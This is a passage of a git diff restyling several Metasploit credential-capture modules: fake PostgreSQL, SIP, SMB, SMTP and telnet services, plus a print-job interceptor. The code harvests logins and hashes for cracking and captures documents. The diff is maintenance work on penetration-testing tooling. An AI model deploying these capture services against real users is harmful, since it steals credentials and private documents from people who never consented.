8) && (@state[client]['status'] == :init) # SSL request - c.put 'N' - @state[c]["status"] = :send_auth_type - elsif @state[c]["status"] == :send_auth_type + client.put 'N' + @state[client]['status'] = :send_auth_type + elsif @state[client]['status'] == :send_auth_type # Startup message - data.slice!(0, 4).unpack("N")[0] # skip over length - data.slice!(0, 4).unpack("N")[0] # skip over protocol - sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*") - c.put sdata + data.slice!(0, 4).unpack('N')[0] # skip over length + data.slice!(0, 4).unpack('N')[0] # skip over protocol + sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack('C*') + client.put sdata data.slice!(0, 5) # skip over "user\x00" - @state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] + @state[client][:username] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] data.slice!(0, 9) # skip over "database\x00" - @state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] - @state[c]["status"] = :pwn - elsif @state[c]["status"] == :pwn and data[0] == 'p' + @state[client][:database] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] + @state[client]['status'] = :pwn + elsif (@state[client]['status'] == :pwn) && (data[0] == 'p') # Password message - data.slice!(0, 5).unpack("N")[0] # skip over length - @state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] + data.slice!(0, 5).unpack('N')[0] # skip over length + @state[client][:password] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] report_cred( - ip: c.peerhost, + ip: client.peerhost, port: datastore['SRVPORT'], service_name: 'psql_client', - user: @state[c][:username], - password: @state[c][:password], - proof: @state[c][:database] + user: @state[client][:username], + password: @state[client][:password], + proof: @state[client][:database] ) - print_good("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}") + print_good("PostgreSQL LOGIN #{@state[client][:name]} #{@state[client][:username]} / #{@state[client][:password]} / #{@state[client][:database]}") # send failure message - sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN") - sdata << "SFATAL" + sdata = [ 0x45, 97 - 8 + @state[client][:username].length].pack('CN') + sdata << 'SFATAL' sdata << "\x00" - sdata << "C28P01" + sdata << 'C28P01' sdata << "\x00" - sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\"" + sdata << "Mpassword authentication failed for user \"#{@state[client][:username]}\"" sdata << "\x00" - sdata << "Fauth.c" + sdata << 'Fauth.c' sdata << "\x00" - sdata << "L302" + sdata << 'L302' sdata << "\x00" - sdata << "Rauth_failed" + sdata << 'Rauth_failed' sdata << "\x00\x00" - c.put sdata - c.close + client.put sdata + client.close end - end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index 0f14d92972202..dab8157bf87ec 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Printjob Capture Service', + 'Name' => 'Printjob Capture Service', 'Description' => %q{ This module is designed to listen for PJL or PostScript print jobs. Once a print job is detected it is saved to loot. The @@ -20,28 +20,31 @@ def initialize Note, this module does not yet support IPP connections. }, - 'Author' => ['Chris John Riley', 'todb'], - 'License' => MSF_LICENSE, - 'References' => - [ + 'Author' => ['Chris John Riley', 'todb'], + 'License' => MSF_LICENSE, + 'References' => [ # Based on previous prn-2-me tool (Python) ['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'], # Readers for resulting PCL/PC ['URL', 'http://www.ghostscript.com'] ], - 'Actions' => [[ 'Capture', 'Description' => 'Run print job capture server' ]], + 'Actions' => [[ 'Capture', { 'Description' => 'Run print job capture server' } ]], 'PassiveActions' => ['Capture'], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ - OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]), - OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]), + OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]), OptAddress.new('RHOST', [ false, 'Forward to remote host' ]), - OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]), + OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]), OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]), - OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP - + OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP ]) deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS') @@ -52,7 +55,6 @@ def setup @state = {} begin - @srvhost = datastore['SRVHOST'] @srvport = datastore['SRVPORT'] || 9100 @mode = datastore['MODE'].upcase || 'RAW' @@ -60,171 +62,169 @@ def setup @forward = datastore['FORWARD'] @rport = datastore['RPORT'] || 9100 if datastore['RHOST'].nil? - fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST") + fail_with(Failure::BadConfig, 'Cannot forward without a valid RHOST') end @rhost = datastore['RHOST'] print_status("Forwarding all printjobs to #{@rhost}:#{@rport}") end - if not @mode == 'RAW' and not @forward - fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target") + if (@mode != 'RAW') && !@forward + fail_with(Failure::BadConfig, 'Cannot intercept LPR/IPP without a forwarding target') end @metadata = datastore['METADATA'] - print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode]) + print_status("Starting Print Server on #{@srvhost}:#{@srvport} - #{@mode} mode") - exploit() - - rescue => ex - print_error(ex.message) + exploit + rescue StandardError => e + print_error(e.message) end end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :data => '', - :raw_data => '', - :prn_title => '', - :prn_type => '', - :prn_metadata => {}, - :meta_output => [] + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil, + data: '', + raw_data: '', + prn_title: '', + prn_type: '', + prn_metadata: {}, + meta_output: [] } - print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}") + print_status("#{name}: Client connection from #{client.peerhost}:#{client.peerport}") end - def on_client_data(c) - curr_data = c.get_once - @state[c][:data] << curr_data + def on_client_data(client) + curr_data = client.get_once + @state[client][:data] << curr_data if @mode == 'RAW' # RAW Mode - no further actions - elsif @mode == 'LPR' or @mode == 'IPP' + elsif (@mode == 'LPR') || (@mode == 'IPP') response = stream_data(curr_data) - c.put(response) + client.put(response) end - if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a' - print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty? + if Rex::Text.to_hex(curr_data.first) == '\x02' && Rex::Text.to_hex(curr_data.last) == '\x0a' && !curr_data[1..-2].empty? + print_status("LPR Jobcmd \"#{curr_data[1..-2]}\" received") end - return if not @state[c][:data] + return if !@state[client][:data] end - def on_client_close(c) - print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length) + def on_client_close(client) + print_status("#{name}: Client #{client.peerhost}:#{client.peerport} closed connection after #{@state[client][:data].length} bytes of data") sock.close if sock # forward RAW data as it's not streamed - if @forward and @mode == 'RAW' - forward_data(@state[c][:data]) + if @forward && (@mode == 'RAW') + forward_data(@state[client][:data]) end - #extract print data and Metadata from @state[c][:data] + # extract print data and Metadata from @state[client][:data] begin # postscript data - if @state[c][:data] =~ /%!PS-Adobe/i - @state[c][:prn_type] = "PS" - print_good("Printjob intercepted - type PostScript") + if @state[client][:data] =~ /%!PS-Adobe/i + @state[client][:prn_type] = 'PS' + print_good('Printjob intercepted - type PostScript') # extract PostScript data including header and EOF marker - @state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0] + @state[client][:raw_data] = @state[client][:data].match(/%!PS-Adobe.*%%EOF/im)[0] # pcl data (capture PCL or PJL start code) - elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/ - @state[c][:prn_type] = "PCL" - print_good("Printjob intercepted - type PCL") - #extract everything between PCL start and end markers (various) - @state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*") + elsif @state[client][:data].unpack('H*')[0] =~ /(1b45|1b25|1b26)/ + @state[client][:prn_type] = 'PCL' + print_good('Printjob intercepted - type PCL') + # extract everything between PCL start and end markers (various) + @state[client][:raw_data] = Array(@state[client][:data].unpack('H*')[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack('H*') end # extract Postsript Metadata - metadata_ps(c) if @state[c][:data] =~ /^%%/i + metadata_ps(client) if @state[client][:data] =~ /^%%/i # extract PJL Metadata - metadata_pjl(c) if @state[c][:data] =~ /@PJL/i + metadata_pjl(client) if @state[client][:data] =~ /@PJL/i # extract IPP Metadata - metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i + metadata_ipp(client) if @state[client][:data] =~ %r{POST /ipp}i || @state[client][:data] =~ %r{application/ipp}i - if @state[c][:prn_type].empty? - print_error("Unable to detect printjob type, dumping complete output") - @state[c][:prn_type] = "Unknown Type" - @state[c][:raw_data] = @state[c][:data] + if @state[client][:prn_type].empty? + print_error('Unable to detect printjob type, dumping complete output') + @state[client][:prn_type] = 'Unknown Type' + @state[client][:raw_data] = @state[client][:data] end # output discovered Metadata if set - if @state[c][:meta_output] and @metadata - @state[c][:meta_output].sort.each do | out | + if @state[client][:meta_output] && @metadata + @state[client][:meta_output].sort.each do |out| # print metadata if not empty - print_status("#{out}") if not out.empty? + print_status(out.to_s) if !out.empty? end else - print_status("No metadata gathered from printjob") + print_status('No metadata gathered from printjob') end # set name to unknown if not discovered via Metadata - @state[c][:prn_title] = 'Unnamed' if @state[c][:prn_title].empty? + @state[client][:prn_title] = 'Unnamed' if @state[client][:prn_title].empty? - #store loot - storefile(c) if not @state[c][:raw_data].empty? + # store loot + storefile(client) if !@state[client][:raw_data].empty? # clear state - @state.delete(c) - - rescue => ex - print_error(ex.message) + @state.delete(client) + rescue StandardError => e + print_error(e.message) end end - def metadata_pjl(c) + def metadata_pjl(client) # extract PJL Metadata - @state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i) - print_good("Extracting PJL Metadata") - @state[c][:prn_metadata].each do | meta | + @state[client][:prn_metadata] = @state[client][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i) + print_good('Extracting PJL Metadata') + @state[client][:prn_metadata].each do |meta| if meta[0] =~ /^COMMENT/i - @state[c][:meta_output] << meta[0].to_s + meta[1].to_s + @state[client][:meta_output] << meta[0].to_s + meta[1].to_s end if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i - @state[c][:meta_output] << meta[1].to_s + @state[client][:meta_output] << meta[1].to_s end if meta[1] =~ /^NAME/i - @state[c][:prn_title] = meta[1].strip - elsif meta[1] =~/^JOBNAME/i - @state[c][:prn_title] = meta[1].strip + @state[client][:prn_title] = meta[1].strip + elsif meta[1] =~ /^JOBNAME/i + @state[client][:prn_title] = meta[1].strip end end end - def metadata_ps(c) + def metadata_ps(client) # extract Postsript Metadata - @state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i) - print_good("Extracting PostScript Metadata") - @state[c][:prn_metadata].each do | meta | + @state[client][:prn_metadata] = @state[client][:data].scan(/^%%(.*)$/i) + print_good('Extracting PostScript Metadata') + @state[client][:prn_metadata].each do |meta| if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i - @state[c][:meta_output] << meta[0].to_s + @state[client][:meta_output] << meta[0].to_s end if meta[0] =~ /^Title/i - @state[c][:prn_title] = meta[0].strip + @state[client][:prn_title] = meta[0].strip end end end - def metadata_ipp(c) + def metadata_ipp(client) # extract IPP Metadata - @state[c][:prn_metadata] = @state[c][:data] - print_good("Extracting IPP Metadata") - case @state[c][:prn_metadata] + @state[client][:prn_metadata] = @state[client][:data] + print_good('Extracting IPP Metadata') + case @state[client][:prn_metadata] when /User-Agent:/i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i) + @state[client][:meta_output] << @state[client][:prn_metadata].scan(/^User-Agent:.*/i) when /Server:/i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i) - when /printer-uri..ipp:\/\/.*\/ipp\//i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i) + @state[client][:meta_output] << @state[client][:prn_metadata].scan(/^Server:.*/i) + when %r{printer-uri..ipp://.*/ipp/}i + @state[client][:meta_output] << @state[client][:prn_metadata].scan(%r{printer-uri..ipp://.*/ipp/}i) when /requesting-user-name..\w+/i - @state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i) + @state[client][:meta_output] << @state[client][:prn_metadata].scan(/requesting-user-name..\w+/i) end end @@ -236,29 +236,29 @@ def forward_data(data_to_send) end def stream_data(data_to_send) - vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length) - connect if not sock + vprint_status("Streaming #{data_to_send.length} bytes of data to #{@rhost}:#{@rport}") + connect if !sock sock.put(data_to_send) response = sock.get_once return response end - def storefile(c) + def storefile(client) + return unless @state[client][:raw_data] + # store the file - if @state[c][:raw_data] - jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*") - filename = "#{jobname}.#{@state[c][:prn_type]}" - loot = store_loot( - "prn_snarf.#{@state[c][:prn_type].downcase}", - "#{@state[c][:prn_type]} printjob", - c.peerhost, - @state[c][:raw_data], - filename, - "PrintJob capture" - ) - print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title]) - print_good("Loot filename: %s" % loot) - end + jobname = File.basename(@state[client][:prn_title].gsub('\\', '/'), '.*') + filename = "#{jobname}.#{@state[client][:prn_type]}" + loot = store_loot( + "prn_snarf.#{@state[client][:prn_type].downcase}", + "#{@state[client][:prn_type]} printjob", + client.peerhost, + @state[client][:raw_data], + filename, + 'PrintJob capture' + ) + print_good("Incoming printjob - #{@state[client][:prn_title]} saved to loot") + print_good("Loot filename: #{loot}") end end diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index 5021a05aace5e..36235b49c1f6a 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' require 'rex/socket' class MetasploitModule < Msf::Auxiliary @@ -10,39 +11,46 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: SIP', - 'Description' => %q{ + 'Name' => 'Authentication Capture: SIP', + 'Description' => %q{ This module provides a fake SIP service that is designed to capture authentication credentials. It captures challenge and response pairs that can be supplied to Cain or JtR for cracking. }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run SIP capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run SIP capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5060 ]), - OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), - OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 5060 ]), + OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]), + OptString.new('NONCE', [ true, 'The server byte nonce', '1234' ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + ] + ) register_advanced_options( [ - OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]), - OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]), - ]) + OptString.new('SRVVERSION', [ true, 'The server version to report in the greeting response', 'ser (3.3.0-pre1 (i386/linux))' ]), + OptString.new('REALM', [false, 'The SIP realm to which clients authenticate', nil ]), + ] + ) end def sip_parse_authorization(data) kvps = {} kvps['scheme'] = data.slice!(0, data.index(' ')) - data.split(/,\s?/).each do | item | - tokens = item.scan(/^\s?([^=]*)=\"?(.*?)\"?$/)[0] + data.split(/,\s?/).each do |item| + tokens = item.scan(/^\s?([^=]*)="?(.*?)"?$/)[0] kvps[tokens[0]] = tokens[1] end kvps @@ -50,19 +58,19 @@ def sip_parse_authorization(data) def sip_parse_request(data) response = { - :headers_raw => [], - :headers => {}, - :uri => nil, - :method => nil, - :protocol => nil + headers_raw: [], + headers: {}, + uri: nil, + method: nil, + protocol: nil } - status = data.slice!(0, data.index(/\r?\n/)+1).split(/\s/) + status = data.slice!(0, data.index(/\r?\n/) + 1).split(/\s/) response[:method] = status[0] response[:uri] = status[1] response[:protocol] = status[2] while data.index(/\r?\n/) - header = (data.slice!(0, data.index(/\r?\n/)+1)).chomp + header = data.slice!(0, data.index(/\r?\n/) + 1).chomp response[:headers_raw] << header key, val = header.split(/:\s*/, 2) response[:headers][key] = val @@ -73,32 +81,33 @@ def sip_parse_request(data) def sip_send_error_message(request, code, msg) ip = @requestor[:ip] port = @requestor[:port] - tag = (0...8).map{65.+(rand(25)).chr}.join + tag = (0...8).map { rand(65..89).chr }.join nonce = datastore['NONCE'] - realm = datastore['REALM'] ? datastore['REALM'] : sip_sanitize_address(ip) + realm = datastore['REALM'] || sip_sanitize_address(ip) auth = [] auth << "SIP/2.0 #{code} #{msg}" - auth << ("Via: #{request[:headers]['Via']};received=#{ip}").gsub("rport", "rport=#{port}") + auth << "Via: #{request[:headers]['Via']};received=#{ip}".gsub('rport', "rport=#{port}") auth << "From: #{request[:headers]['From']}" auth << "To: #{request[:headers]['To']};tag=#{tag}" auth << "Call-ID: #{request[:headers]['Call-ID']}" auth << "CSeq: #{request[:headers]['CSeq']}" - auth << "Expires: 600" - auth << "Min-Expires: 240" + auth << 'Expires: 600' + auth << 'Min-Expires: 240' auth << "WWW-Authenticate: Digest realm=\"#{realm}\", nonce=\"#{nonce}\"" auth << "Server: #{datastore['SRVVERSION']}" - auth << "Content-Length: 0" - auth << "" + auth << 'Content-Length: 0' + auth << '' @sock.sendto(auth.join("\r\n") << "\r\n", @requestor[:ip].to_s, @requestor[:port]) end # removes any leading ipv6 stuff, such as ::ffff: as it breaks JtR def sip_sanitize_address(addr) - if ( addr =~ /:/ ) + if (addr =~ /:/) return addr.scan(/.*:(.*)/)[0][0] end + return addr end @@ -129,109 +138,106 @@ def report_cred(opts) end def run - begin - @port = datastore['SRVPORT'].to_i - @sock = Rex::Socket::Udp.create( - 'LocalHost' => datastore['SRVHOST'], - 'LocalPort' => @port, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} ) - @run = true - server_ip = sip_sanitize_address(datastore['SRVHOST']) - - while @run - res = @sock.recvfrom() - @requestor = { - :ip => res[1], - :port => res[2] - } - client_ip = sip_sanitize_address(res[1]) - next if not res[0] or res[0].empty? - request = sip_parse_request(res[0]) - method = request[:method] - - case method - when "REGISTER" - authorization = ( request[:headers]['Authorization'] ? request[:headers]['Authorization'] : request[:headers]['Proxy-Authorization'] ) - if authorization - if ( request[:uri] =~ /^sip:.*?:\d+/ ) - # current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060 - print_status("URI with port detected in authorization SIP request, JtR may fail to crack the response") - end - - auth_tokens = sip_parse_authorization(authorization) - response = ( auth_tokens['response'] ? auth_tokens['response'] : "" ) - algorithm= ( auth_tokens['algorithm'] ? auth_tokens['algorithm'] : "MD5" ) - username = auth_tokens['username'] - proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}" - print_good("SIP LOGIN: #{proof}") - - report_cred( - ip: @requestor[:ip], - port: @requestor[:port], - service_name: 'sip_client', - user: username, - password: response + ":" + auth_tokens['nonce'] + ":" + algorithm, - proof: proof - ) - - if datastore['JOHNPWFILE'] - resp = [] - resp << "$sip$" - resp << server_ip - resp << client_ip - resp << username - resp << auth_tokens['realm'] - resp << method - resp << "sip" - resp << request[:uri].scan(/^.*?:(.*)$/) - resp << auth_tokens['nonce'] - resp << ( auth_tokens['cnonce'] ? auth_tokens['cnonce'] : "" ) - resp << ( auth_tokens['nc'] ? auth_tokens['nc'] : "" ) - resp << ( auth_tokens['qop'] ? auth_tokens['qop'] : "" ) - resp << algorithm - resp << response - - fd = File.open(datastore['JOHNPWFILE'] + '_sip' , "ab") - fd.puts(username + ":" + resp.join("*")) - fd.close - end - - if datastore['CAINPWFILE'] - resp = [] - resp << auth_tokens['realm'] - resp << auth_tokens['username'] - resp << "" - resp << request[:uri] - resp << auth_tokens['nonce'] - resp << response - resp << method - resp << algorithm - - fd = File.open(datastore['CAINPWFILE'], "ab") - fd.puts resp.join("\t") + "\r\n" - fd.close - end - - sip_send_error_message(request, 401, "Unauthorized") - else - sip_send_error_message(request, 401, "Unauthorized") + @port = datastore['SRVPORT'].to_i + @sock = Rex::Socket::Udp.create( + 'LocalHost' => datastore['SRVHOST'], + 'LocalPort' => @port, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + @run = true + server_ip = sip_sanitize_address(datastore['SRVHOST']) + + while @run + res = @sock.recvfrom + @requestor = { + ip: res[1], + port: res[2] + } + client_ip = sip_sanitize_address(res[1]) + next if !res[0] || res[0].empty? + + request = sip_parse_request(res[0]) + method = request[:method] + + case method + when 'REGISTER' + authorization = request[:headers]['Authorization'] || request[:headers]['Proxy-Authorization'] + if authorization + if (request[:uri] =~ /^sip:.*?:\d+/) + # current versions of the JtR plugin will fail cracking SIP uri:s containing a port; eg. sip:1.2.3.4:5060 + print_status('URI with port detected in authorization SIP request, JtR may fail to crack the response') + end + + auth_tokens = sip_parse_authorization(authorization) + response = auth_tokens['response'] || '' + algorithm = auth_tokens['algorithm'] || 'MD5' + username = auth_tokens['username'] + proof = "client: #{client_ip}; username: #{username}; nonce: #{datastore['NONCE']}; response: #{response}; algorithm: #{algorithm}" + print_good("SIP LOGIN: #{proof}") + + report_cred( + ip: @requestor[:ip], + port: @requestor[:port], + service_name: 'sip_client', + user: username, + password: response + ':' + auth_tokens['nonce'] + ':' + algorithm, + proof: proof + ) + + if datastore['JOHNPWFILE'] + resp = [] + resp << '$sip$' + resp << server_ip + resp << client_ip + resp << username + resp << auth_tokens['realm'] + resp << method + resp << 'sip' + resp << request[:uri].scan(/^.*?:(.*)$/) + resp << auth_tokens['nonce'] + resp << (auth_tokens['cnonce'] || '') + resp << (auth_tokens['nc'] || '') + resp << (auth_tokens['qop'] || '') + resp << algorithm + resp << response + + fd = File.open(datastore['JOHNPWFILE'] + '_sip', 'ab') + fd.puts(username + ':' + resp.join('*')) + fd.close + end + + if datastore['CAINPWFILE'] + resp = [] + resp << auth_tokens['realm'] + resp << auth_tokens['username'] + resp << '' + resp << request[:uri] + resp << auth_tokens['nonce'] + resp << response + resp << method + resp << algorithm + + fd = File.open(datastore['CAINPWFILE'], 'ab') + fd.puts resp.join("\t") + "\r\n" + fd.close end - when "ACK" - # do nothing - else - print_error("Unhandled method: #{request[:method]}") - sip_send_error_message(request, 401, "Unauthorized") + end + sip_send_error_message(request, 401, 'Unauthorized') + when 'ACK' + # do nothing + else + print_error("Unhandled method: #{request[:method]}") + sip_send_error_message(request, 401, 'Unauthorized') end - - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e.backtrace}") - ensure - @sock.close end + rescue ::Interrupt + raise $ERROR_INFO + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + rescue StandardError => e + print_error("Unknown error: #{e.class} #{e.backtrace}") + ensure + @sock.close end end diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 6db089d7d2cb4..ea38f7cc6c8d5 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -41,7 +41,12 @@ def initialize 'License' => MSF_LICENSE, 'Actions' => [[ 'Capture', { 'Description' => 'Run SMB capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } }) register_options( @@ -75,9 +80,9 @@ def start_service(opts = {}) super(opts) end - def on_client_connect(client) + def on_client_connect(_client) print_good('Received SMB connection on Auth Capture Server!') end - alias :run :exploit + alias run exploit end diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index 8fe12377df3b1..a913544865d71 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -28,6 +28,11 @@ def initialize [ 'URL', 'https://datatracker.ietf.org/doc/html/rfc5321' ], [ 'URL', 'http://fehcom.de/qmail/smtpauth.html' ] ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( @@ -71,7 +76,7 @@ def on_client_data(client) print_status("SMTP: #{@state[client][:name]} Command: #{data.strip}") - if (@state[client][:data_mode]) + if @state[client][:data_mode] @state[client][:data_buff] ||= '' @state[client][:data_buff] += data @@ -83,7 +88,7 @@ def on_client_data(client) report_note( host: @state[client][:ip], type: 'smtp_message', - data: @state[client][:data_buff][0, idx] + data: { :message => @state[client][:data_buff][0, idx] } ) @state[client][:data_buff][0, idx].split("\n").each do |line| print_status("SMTP: #{@state[client][:name]} EMAIL: #{line.strip}") @@ -97,7 +102,7 @@ def on_client_data(client) return end - if (@state[client][:auth_login]) + if @state[client][:auth_login] if @state[client][:user].nil? @state[client][:user] = Rex::Text.decode_base64(data) client.put "334 #{Rex::Text.encode_base64('Password')}\r\n" @@ -118,7 +123,7 @@ def on_client_data(client) return end - if (@state[client][:auth_plain]) + if @state[client][:auth_plain] # this data is \00 delimited, and has 3 fields: un\00un\00\pass. Not sure why a double username un_pass = auth_plain_parser data @@ -138,7 +143,7 @@ def on_client_data(client) return end - if (@state[client][:auth_cram]) + if @state[client][:auth_cram] # data is decoded = Rex::Text.decode_base64(data).split(' ') @state[client][:user] = decoded.first diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index c0eaac02e5ad4..5978c8cdea8ff 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -10,26 +10,32 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: Telnet', - 'Description' => %q{ + 'Name' => 'Authentication Capture: Telnet', + 'Description' => %q{ This module provides a fake Telnet service that is designed to capture authentication credentials. DONTs and WONTs are sent to the client for all option negotiations, except for ECHO at the time of the password prompt since the server controls that for a bit more realism. }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run telnet capture server' ]], + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run telnet capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ OptPort.new('SRVPORT', [true, 'The local port to listen on.', 23]), OptString.new('BANNER', [false, 'The server banner to display when client connects']) - ]) + ] + ) end def setup @@ -42,25 +48,25 @@ def banner end def run - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :gotuser => false, - :gotpass => false, - :started => false + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil, + gotuser: false, + gotpass: false, + started: false } end - def on_client_data(c) - data = c.get_once - return if not data + def on_client_data(client) + data = client.get_once + return if !data offset = 0 @@ -74,28 +80,28 @@ def on_client_data(c) reply = "\xff#{data[x + 2].chr}" - if @state[c][:pass] and data[x + 2] == 0x01 + if @state[client][:pass] 